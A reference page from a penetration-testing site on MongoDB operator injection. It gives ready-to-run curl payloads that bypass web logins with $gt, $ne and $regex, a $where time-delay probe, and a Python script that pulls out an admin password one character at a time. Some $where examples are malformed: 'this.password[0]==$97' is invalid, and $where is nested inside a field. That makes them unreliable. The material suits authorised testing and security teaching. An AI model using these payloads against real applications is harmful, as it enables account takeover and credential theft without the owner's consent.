# MongoDB Operator Injection

- **URL:** https://hackindex.io/services/mongodb/exploitation/mongodb-operator-injection
- **Path:** MongoDB > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mongodb/exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

MongoDB operator injection exploits web applications that pass unsanitized user input directly into MongoDB queries. Unlike SQL injection, the attack injects MongoDB query operators rather than SQL syntax. The most common outcomes are authentication bypass and data extraction. This attack targets the web application layer (not the MongoDB service directly) and requires the application to accept JSON or query parameters that reach a MongoDB find or aggregate operation without sanitization.

## Identify MongoDB operator injection endpoints

Look for login forms, search endpoints, and API routes that accept JSON bodies or query parameters. Applications using Express/Node.js with Mongoose or the native driver are common targets. Test whether the endpoint accepts operator syntax by injecting a simple object:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$gt":""}}' | grep -iE 'welcome|dashboard|token|success'
# {"token":"eyJhbGciOiJIUzI1NiJ9...","user":"admin"}
```

A successful login response confirms operator injection. The `{"$gt":""}` payload makes the password condition always true (any password is greater than an empty string), so authentication is bypassed regardless of what password the admin account has.

## Authentication Bypass Operators

Test multiple operators. Different applications sanitize some but miss others:

- `$gt`: always-true comparison (greater than empty string)
- `$ne`: not-equal bypass (any value except the specified one)
- `$regex`: pattern match (wildcard `.*` matches any password)
- `$where`: JavaScript execution in query context (if enabled)

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$ne":"wrongpassword"}}' | grep -iE 'token|welcome|success'
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":{"$gt":""},"password":{"$gt":""}}' | grep -iE 'token|welcome|success'
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":".*"}}' | grep -iE 'token|welcome|success'
```

## URL Parameter Injection

When the application accepts query parameters rather than a JSON body, inject operators using bracket notation:

```bash
curl -sk "http://$TARGET_IP:$PORT/api/login?username=admin&password[$gt]=" | grep -iE 'token|welcome|success'
```

```bash
curl -sk "http://$TARGET_IP:$PORT/api/login?username=admin&password[$ne]=wrongpassword" | grep -iE 'token|welcome|success'
```

## $where JavaScript Injection

When server-side JavaScript is enabled, `$where` executes arbitrary JavaScript in query context. This enables time-based blind data extraction. Confirm JS is enabled first through [dangerous configuration checks](https://hackindex.io/services/mongodb/vulnerability-discovery/mongodb-dangerous-configuration-checks):

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/search -H 'Content-Type: application/json' -d '{"query":{"$where":"sleep(3000)||1"}}' && echo 'delayed'
# delayed
```

A 3-second delay confirms `$where` is executing JavaScript. Use this for time-based blind data extraction by conditioning the sleep on character comparisons:

```bash
time curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$where":"this.password[0]==$97?sleep(2000):0"}}'
# real    0m2.134s
```

ASCII 97 is 'a'. A 2-second delay confirms the admin password starts with 'a'. Increment through ASCII values to extract the full password character by character. This is slow: automate with a script:

```python
import requests, time, string

TARGET = f'http://$TARGET_IP:$PORT/api/login'
result = ''

for pos in range(0, 20):
    found = False
    for char in string.printable:
        payload = {
            "username": "admin",
            "password": {"$where": f"this.password[{pos}]=='{char}'?sleep(2000):0"}
        }
        start = time.time()
        try:
            requests.post(TARGET, json=payload, timeout=3)
        except requests.Timeout:
            pass
        elapsed = time.time() - start
        if elapsed >= 2:
            result += char
            print(f'Password so far: {result}')
            found = True
            break
    if not found:
        break

print(f'Extracted password: {result}')
```

## $regex for Blind Data Extraction

Without `$where`, use `$regex` for boolean-based blind extraction. A match returns a different response than a non-match:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":"^a"}}' | wc -c
# 312
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":"^b"}}' | wc -c
# 42
```

The larger response for the `^a` regex confirms the password starts with 'a'. Extend the regex pattern one character at a time to extract the full value: `^a`, `^ad`, `^adm`, and so on.

## References

- [PayloadsAllTheThings: NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - MongoDB operator injection payload collection and blind extraction techniques
- [PortSwigger: NoSQL Injection](https://portswigger.net/web-security/nosql-injection) - NoSQL injection detection and operator bypass methodology
